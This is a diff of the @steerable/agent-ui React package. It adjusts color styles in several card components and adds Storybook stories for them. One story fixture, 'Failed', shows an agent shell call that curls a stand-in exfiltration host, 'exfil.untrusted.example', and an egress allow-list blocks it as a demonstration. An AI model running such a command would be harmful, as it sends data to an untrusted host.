const body = expanded && canToggle ? (renderMarkdown ? (asReactNode(renderMarkdown(payload.body))) : (_jsx("pre", { className: "whitespace-pre-wrap break-words font-sans", children: payload.body }))) : null;
|
|
42
42
|
if (appearance === 'inline') {
|
|
43
43
|
return (_jsxs("div", { className: ['steerable-summary-message', className].filter(Boolean).join(' '), children: [_jsxs("button", { type: "button", onClick: () => canToggle && setExpanded((v) => !v), disabled: !canToggle, className: [
|
|
44
|
-
'group inline-flex items-center gap-1.5 rounded-md px-2 py-1 text-[11px] leading-none text-[var(--agent-muted-foreground,#
|
|
44
|
+
'group inline-flex items-center gap-1.5 rounded-md px-2 py-1 text-[11px] leading-none text-[var(--agent-muted-foreground,#4b5563)] transition-colors',
|
|
45
45
|
canToggle
|
|
46
46
|
? 'cursor-pointer hover:bg-[var(--agent-muted,#f3f4f6)] hover:text-[var(--agent-foreground,#111827)]'
|
|
47
47
|
: 'cursor-default',
|
|
48
|
-
].join(' '), children: [isPending ? (_jsx(LoaderIcon, { size: 12, className: "animate-spin" })) : (_jsx(ArchiveIcon, { size: 12 })), _jsx("span", { children: labelNode }), canToggle && (_jsx("span", { className: "inline-flex items-center gap-0.5 opacity-60 group-hover:opacity-100", children: toggleNode }))] }), body && (_jsx("div", { className: "ml-3 mt-1.5 rounded-md border border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-muted,#f3f4f6)]/30 px-3 py-2 text-[12px] leading-relaxed text-[var(--agent-muted-foreground,#
|
|
48
|
+
].join(' '), children: [isPending ? (_jsx(LoaderIcon, { size: 12, className: "animate-spin" })) : (_jsx(ArchiveIcon, { size: 12 })), _jsx("span", { children: labelNode }), canToggle && (_jsx("span", { className: "inline-flex items-center gap-0.5 opacity-60 group-hover:opacity-100", children: toggleNode }))] }), body && (_jsx("div", { className: "ml-3 mt-1.5 rounded-md border border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-muted,#f3f4f6)]/30 px-3 py-2 text-[12px] leading-relaxed text-[var(--agent-muted-foreground,#4b5563)]", children: body }))] }));
|
|
49
49
|
}
|
|
50
50
|
return (_jsxs("div", { className: [
|
|
51
51
|
'steerable-summary-message rounded-lg border border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-muted,#f3f4f6)]/40 text-xs',
|
|
52
52
|
className,
|
|
53
|
-
].filter(Boolean).join(' '), children: [_jsxs("button", { type: "button", onClick: () => canToggle && setExpanded((v) => !v), disabled: !canToggle, className: "flex w-full items-center gap-2 px-3 py-2 text-left text-[var(--agent-muted-foreground,#
|
|
53
|
+
].filter(Boolean).join(' '), children: [_jsxs("button", { type: "button", onClick: () => canToggle && setExpanded((v) => !v), disabled: !canToggle, className: "flex w-full items-center gap-2 px-3 py-2 text-left text-[var(--agent-muted-foreground,#4b5563)]", children: [isPending ? _jsx(LoaderIcon, { size: 12 }) : _jsx(ArchiveIcon, { size: 12 }), _jsx("span", { children: labelNode }), canToggle && _jsx("span", { className: "ml-auto", children: toggleNode })] }), body && (_jsx("div", { className: "border-t border-[var(--agent-border,#e5e7eb)] px-3 py-2 text-[var(--agent-foreground,#111827)]", children: body }))] }));
|
|
54
54
|
};
|
|
55
55
|
export default SummaryMessageCard;
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
import type { Meta, StoryObj } from '@storybook/react';
|
|
2
|
+
import { SummaryMessageCard } from './SummaryMessageCard.js';
|
|
3
|
+
declare const meta: Meta<typeof SummaryMessageCard>;
|
|
4
|
+
export default meta;
|
|
5
|
+
type Story = StoryObj<typeof SummaryMessageCard>;
|
|
6
|
+
export declare const CardExpanded: Story;
|
|
7
|
+
export declare const Inline: Story;
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
import { jsx as _jsx } from "react/jsx-runtime";
|
|
2
|
+
import { SummaryMessageCard } from './SummaryMessageCard.js';
|
|
3
|
+
const meta = {
|
|
4
|
+
title: 'Cards/SummaryMessageCard',
|
|
5
|
+
component: SummaryMessageCard,
|
|
6
|
+
parameters: {
|
|
7
|
+
layout: 'centered',
|
|
8
|
+
docs: {
|
|
9
|
+
description: {
|
|
10
|
+
component: 'Displays compacted conversation history summaries with card and inline appearances.',
|
|
11
|
+
},
|
|
12
|
+
},
|
|
13
|
+
},
|
|
14
|
+
decorators: [
|
|
15
|
+
(Story) => (_jsx("div", { className: "w-[480px]", children: _jsx(Story, {}) })),
|
|
16
|
+
],
|
|
17
|
+
};
|
|
18
|
+
export default meta;
|
|
19
|
+
export const CardExpanded = {
|
|
20
|
+
args: {
|
|
21
|
+
defaultExpanded: true,
|
|
22
|
+
payload: {
|
|
23
|
+
summarizedCount: 14,
|
|
24
|
+
status: 'complete',
|
|
25
|
+
type: null,
|
|
26
|
+
body: 'Earlier turns inspected the 5-tier workspace, verified 38 sidecar RPC methods, and patched XML tool-call recovery in src/parser.py.',
|
|
27
|
+
},
|
|
28
|
+
},
|
|
29
|
+
};
|
|
30
|
+
export const Inline = {
|
|
31
|
+
args: {
|
|
32
|
+
appearance: 'inline',
|
|
33
|
+
payload: {
|
|
34
|
+
summarizedCount: 8,
|
|
35
|
+
status: 'complete',
|
|
36
|
+
type: null,
|
|
37
|
+
body: 'Compacted 8 earlier turns.',
|
|
38
|
+
},
|
|
39
|
+
},
|
|
40
|
+
};
|
|
@@ -62,13 +62,13 @@ export const ThinkingProcessCard = ({ payload, renderMarkdown, renderLabel, rend
|
|
|
62
62
|
const labelNode = renderLabel
|
|
63
63
|
? asReactNode(renderLabel({ isStreaming, isExpanded: expanded }))
|
|
64
64
|
: defaultLabel;
|
|
65
|
-
const defaultBodyClasses = 'whitespace-pre-wrap break-words font-sans text-xs leading-relaxed text-[var(--agent-muted-foreground,#
|
|
65
|
+
const defaultBodyClasses = 'whitespace-pre-wrap break-words font-sans text-xs leading-relaxed text-[var(--agent-muted-foreground,#4b5563)]';
|
|
66
66
|
return (_jsxs("div", { className: ['steerable-thinking-process', className].filter(Boolean).join(' '), children: [_jsxs("button", { type: "button", onClick: () => setExpanded(!expanded), className: [
|
|
67
67
|
'flex items-center gap-1 text-xs transition-colors duration-200',
|
|
68
68
|
isStreaming
|
|
69
69
|
? 'font-medium text-[var(--agent-foreground,#111827)]'
|
|
70
|
-
: 'text-[var(--agent-muted-foreground,#
|
|
71
|
-
].join(' '), children: [expanded ? _jsx(ChevronDownIcon, { size: 14 }) : _jsx(ChevronRightIcon, { size: 14 }), _jsx("span", { children: labelNode }), duration && !isStreaming && (_jsxs("span", { className: "ml-1 text-[var(--agent-muted-foreground,#
|
|
70
|
+
: 'text-[var(--agent-muted-foreground,#4b5563)] hover:text-[var(--agent-foreground,#111827)]',
|
|
71
|
+
].join(' '), children: [expanded ? _jsx(ChevronDownIcon, { size: 14 }) : _jsx(ChevronRightIcon, { size: 14 }), _jsx("span", { children: labelNode }), duration && !isStreaming && (_jsxs("span", { className: "ml-1 text-[var(--agent-muted-foreground,#4b5563)]", children: ["(", duration, ")"] })), isStreaming && !expanded && (_jsx("span", { "aria-hidden": true, className: "ml-1 inline-block h-1.5 w-1.5 animate-pulse rounded-full bg-[var(--agent-muted-foreground,#4b5563)]" }))] }), showBody && (_jsxs("div", { className: [
|
|
72
72
|
'mt-1 overflow-hidden rounded-lg border p-3',
|
|
73
73
|
isStreaming
|
|
74
74
|
? 'border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-muted,#f3f4f6)]/30 shadow-sm animate-pulse'
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
import type { Meta, StoryObj } from '@storybook/react';
|
|
2
|
+
import { ThinkingProcessCard } from './ThinkingProcessCard.js';
|
|
3
|
+
declare const meta: Meta<typeof ThinkingProcessCard>;
|
|
4
|
+
export default meta;
|
|
5
|
+
type Story = StoryObj<typeof ThinkingProcessCard>;
|
|
6
|
+
export declare const Expanded: Story;
|
|
7
|
+
export declare const Streaming: Story;
|
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
import { jsx as _jsx } from "react/jsx-runtime";
|
|
2
|
+
import { ThinkingProcessCard } from './ThinkingProcessCard.js';
|
|
3
|
+
const meta = {
|
|
4
|
+
title: 'Cards/ThinkingProcessCard',
|
|
5
|
+
component: ThinkingProcessCard,
|
|
6
|
+
parameters: {
|
|
7
|
+
layout: 'centered',
|
|
8
|
+
docs: {
|
|
9
|
+
description: {
|
|
10
|
+
component: 'Collapsible reasoning block supporting streaming auto-expand, elapsed thinking duration, and custom markdown rendering.',
|
|
11
|
+
},
|
|
12
|
+
},
|
|
13
|
+
},
|
|
14
|
+
decorators: [
|
|
15
|
+
(Story) => (_jsx("div", { className: "w-[480px]", children: _jsx(Story, {}) })),
|
|
16
|
+
],
|
|
17
|
+
};
|
|
18
|
+
export default meta;
|
|
19
|
+
export const Expanded = {
|
|
20
|
+
args: {
|
|
21
|
+
durationMs: 1420,
|
|
22
|
+
payload: {
|
|
23
|
+
defaultExpanded: true,
|
|
24
|
+
body: 'Round 1 emitted a plain-text <function=local_exec_shell> block. Parsing arguments, running inside Seatbelt confinement, and verifying pytest output before replying.',
|
|
25
|
+
},
|
|
26
|
+
},
|
|
27
|
+
};
|
|
28
|
+
export const Streaming = {
|
|
29
|
+
args: {
|
|
30
|
+
isStreaming: true,
|
|
31
|
+
autoExpandWhileStreaming: true,
|
|
32
|
+
payload: {
|
|
33
|
+
defaultExpanded: true,
|
|
34
|
+
body: 'Checking runtime contract against generated TypeScript and Pydantic schemas…',
|
|
35
|
+
},
|
|
36
|
+
},
|
|
37
|
+
};
|
|
@@ -25,11 +25,11 @@ function formatToolDuration(ms) {
|
|
|
25
25
|
return `${Math.round(ms / 1000)}s`;
|
|
26
26
|
}
|
|
27
27
|
const STATUS_TONE = {
|
|
28
|
-
pending: 'text-[var(--agent-muted-foreground,#
|
|
29
|
-
running: 'text-amber-
|
|
30
|
-
succeeded: 'text-emerald-
|
|
31
|
-
failed: 'text-rose-
|
|
32
|
-
cancelled: 'text-[var(--agent-muted-foreground,#
|
|
28
|
+
pending: 'text-[var(--agent-muted-foreground,#4b5563)]',
|
|
29
|
+
running: 'text-amber-700',
|
|
30
|
+
succeeded: 'text-emerald-700',
|
|
31
|
+
failed: 'text-rose-700',
|
|
32
|
+
cancelled: 'text-[var(--agent-muted-foreground,#4b5563)]',
|
|
33
33
|
};
|
|
34
34
|
function StatusIcon({ status }) {
|
|
35
35
|
const cls = STATUS_TONE[status];
|
|
@@ -67,11 +67,11 @@ export const ToolExecutionCard = ({ payload, className, defaultExpanded = false,
|
|
|
67
67
|
return (_jsxs("div", { className: [
|
|
68
68
|
'steerable-tool-execution rounded-lg border border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-card-bg,#fff)] text-xs',
|
|
69
69
|
className,
|
|
70
|
-
].filter(Boolean).join(' '), children: [_jsxs("div", { className: "flex w-full items-stretch", children: [expandable && (_jsx("button", { type: "button", onClick: () => setExpanded((v) => !v), className: "flex shrink-0 items-center text-[var(--agent-muted-foreground,#
|
|
70
|
+
].filter(Boolean).join(' '), children: [_jsxs("div", { className: "flex w-full items-stretch", children: [expandable && (_jsx("button", { type: "button", onClick: () => setExpanded((v) => !v), className: "flex shrink-0 items-center text-[var(--agent-muted-foreground,#4b5563)]", "aria-expanded": expanded, "aria-label": expanded ? '收起详情' : '展开详情', children: _jsx("span", { className: "flex items-center px-2.5 py-1", children: expanded ? _jsx(ChevronDownIcon, { size: 12 }) : _jsx(ChevronRightIcon, { size: 12 }) }) })), _jsx("button", { type: "button", onClick: () => {
|
|
71
71
|
if (onActivate)
|
|
72
72
|
onActivate();
|
|
73
73
|
else if (expandable)
|
|
74
74
|
setExpanded((v) => !v);
|
|
75
|
-
}, className: `flex min-w-0 flex-1 text-left ${onActivate ? 'cursor-pointer hover:bg-[var(--agent-muted,#f3f4f6)]/60' : ''}`, "aria-expanded": onActivate ? undefined : expanded, "aria-label": onActivate ? activateTitle : undefined, title: onActivate ? activateTitle : undefined, "data-testid": onActivate ? 'tool-activate' : undefined, children: _jsxs("span", { className: `flex min-w-0 flex-1 items-center gap-1.5 py-1 pr-2.5 ${expandable ? '' : 'pl-2.5'}`, children: [lead ?? (_jsx(ZapIcon, { size: 12, className: "shrink-0 text-[var(--agent-muted-foreground,#
|
|
75
|
+
}, className: `flex min-w-0 flex-1 text-left ${onActivate ? 'cursor-pointer hover:bg-[var(--agent-muted,#f3f4f6)]/60' : ''}`, "aria-expanded": onActivate ? undefined : expanded, "aria-label": onActivate ? activateTitle : undefined, title: onActivate ? activateTitle : undefined, "data-testid": onActivate ? 'tool-activate' : undefined, children: _jsxs("span", { className: `flex min-w-0 flex-1 items-center gap-1.5 py-1 pr-2.5 ${expandable ? '' : 'pl-2.5'}`, children: [lead ?? (_jsx(ZapIcon, { size: 12, className: "shrink-0 text-[var(--agent-muted-foreground,#4b5563)]" })), _jsx("span", { className: "shrink-0 font-medium text-[var(--agent-foreground,#111827)]", children: title }), payload.summary && (_jsx("span", { className: "min-w-0 flex-1 truncate text-[var(--agent-muted-foreground,#4b5563)]", children: payload.summary })), _jsxs("span", { className: "ml-auto inline-flex shrink-0 items-center gap-1 whitespace-nowrap", children: [_jsx(StatusIcon, { status: status }), _jsx("span", { className: STATUS_TONE[status], children: STATUS_LABEL[status] }), duration && (_jsxs("span", { className: "text-[var(--agent-muted-foreground,#4b5563)]", children: ["\u00B7 ", duration] })), note && (_jsx("span", { className: "text-[var(--agent-muted-foreground,#4b5563)]", children: note }))] })] }) })] }), expandable && expanded && (_jsxs("div", { className: "space-y-1.5 border-t border-[var(--agent-border,#e5e7eb)] px-2.5 py-1.5", children: [payload.args !== undefined && (_jsxs("section", { children: [_jsx("div", { className: "mb-1 text-[10px] uppercase tracking-wider text-[var(--agent-muted-foreground,#4b5563)]", children: "\u8F93\u5165" }), renderArgs ? renderArgs(payload.args) : defaultRender(payload.args)] })), payload.output !== undefined && (_jsxs("section", { children: [_jsx("div", { className: "mb-1 text-[10px] uppercase tracking-wider text-[var(--agent-muted-foreground,#4b5563)]", children: "\u8F93\u51FA" }), renderOutput ? renderOutput(payload.output) : defaultRender(payload.output)] })), payload.error && (_jsxs("section", { children: [_jsx("div", { className: "mb-1 text-[10px] uppercase tracking-wider text-rose-700", children: "\u9519\u8BEF" }), _jsx("pre", { className: "whitespace-pre-wrap break-words rounded bg-rose-50/60 px-2 py-1.5 text-[11px] text-rose-700", children: payload.error })] }))] }))] }));
|
|
76
76
|
};
|
|
77
77
|
export default ToolExecutionCard;
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
import type { Meta, StoryObj } from '@storybook/react';
|
|
2
|
+
import { ToolExecutionCard } from './ToolExecutionCard.js';
|
|
3
|
+
declare const meta: Meta<typeof ToolExecutionCard>;
|
|
4
|
+
export default meta;
|
|
5
|
+
type Story = StoryObj<typeof ToolExecutionCard>;
|
|
6
|
+
export declare const Succeeded: Story;
|
|
7
|
+
export declare const Failed: Story;
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
import { jsx as _jsx } from "react/jsx-runtime";
|
|
2
|
+
import { ToolExecutionCard } from './ToolExecutionCard.js';
|
|
3
|
+
const meta = {
|
|
4
|
+
title: 'Cards/ToolExecutionCard',
|
|
5
|
+
component: ToolExecutionCard,
|
|
6
|
+
parameters: {
|
|
7
|
+
layout: 'centered',
|
|
8
|
+
actions: { argTypesRegex: '^on[A-Z].*' },
|
|
9
|
+
docs: {
|
|
10
|
+
description: {
|
|
11
|
+
component: 'Single tool execution row from `@steerable/agent-ui/cards` with status badge, duration, and expandable args/output inspector.',
|
|
12
|
+
},
|
|
13
|
+
},
|
|
14
|
+
},
|
|
15
|
+
decorators: [
|
|
16
|
+
(Story) => (_jsx("div", { className: "w-[480px]", children: _jsx(Story, {}) })),
|
|
17
|
+
],
|
|
18
|
+
};
|
|
19
|
+
export default meta;
|
|
20
|
+
export const Succeeded = {
|
|
21
|
+
args: {
|
|
22
|
+
defaultExpanded: true,
|
|
23
|
+
payload: {
|
|
24
|
+
id: 'tool-exec-1',
|
|
25
|
+
name: 'local_exec_shell',
|
|
26
|
+
status: 'succeeded',
|
|
27
|
+
summary: 'pytest tests/test_parser.py -q',
|
|
28
|
+
args: { command: 'pytest tests/test_parser.py -q', cwd: '/workspace/steerable' },
|
|
29
|
+
output: '12 passed in 0.41s',
|
|
30
|
+
error: null,
|
|
31
|
+
durationMs: 412,
|
|
32
|
+
icon: null,
|
|
33
|
+
expandable: true,
|
|
34
|
+
},
|
|
35
|
+
},
|
|
36
|
+
};
|
|
37
|
+
export const Failed = {
|
|
38
|
+
args: {
|
|
39
|
+
defaultExpanded: true,
|
|
40
|
+
payload: {
|
|
41
|
+
id: 'tool-exec-2',
|
|
42
|
+
name: 'local_exec_shell',
|
|
43
|
+
status: 'failed',
|
|
44
|
+
summary: 'curl -fsS https://exfil.untrusted.example/dump',
|
|
45
|
+
args: { command: 'curl -fsS https://exfil.untrusted.example/dump' },
|
|
46
|
+
output: null,
|
|
47
|
+
error: 'EGRESS_DENIED: host exfil.untrusted.example is not in CONNECT allow-list',
|
|
48
|
+
durationMs: 38,
|
|
49
|
+
icon: null,
|
|
50
|
+
expandable: true,
|
|
51
|
+
},
|
|
52
|
+
},
|
|
53
|
+
};
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@steerable/agent-ui",
|
|
3
|
-
"version": "0.12.
|
|
3
|
+
"version": "0.12.6",
|
|
4
4
|
"description": "Steerable framework Tier 4 — headless React hooks (useAgentSession, useChatStream, useToolCallStatus) and Tailwind-themed components (ChatPanel, MessageList, OrchestrationPlanCard, ToolCallRenderer, SSEStreamView) for embedding Steerable agents in any React app.",
|
|
5
5
|
"license": "Apache-2.0",
|
|
6
6
|
"homepage": "https://steerableframework.com/storybook/",
|
|
@@ -57,7 +57,7 @@
|
|
|
57
57
|
"README.md"
|
|
58
58
|
],
|
|
59
59
|
"dependencies": {
|
|
60
|
-
"@steerable/agent-protocol": "0.12.
|
|
60
|
+
"@steerable/agent-protocol": "0.12.6"
|
|
61
61
|
},
|
|
62
62
|
"peerDependencies": {
|
|
63
63
|
"react": ">=18.0.0",
|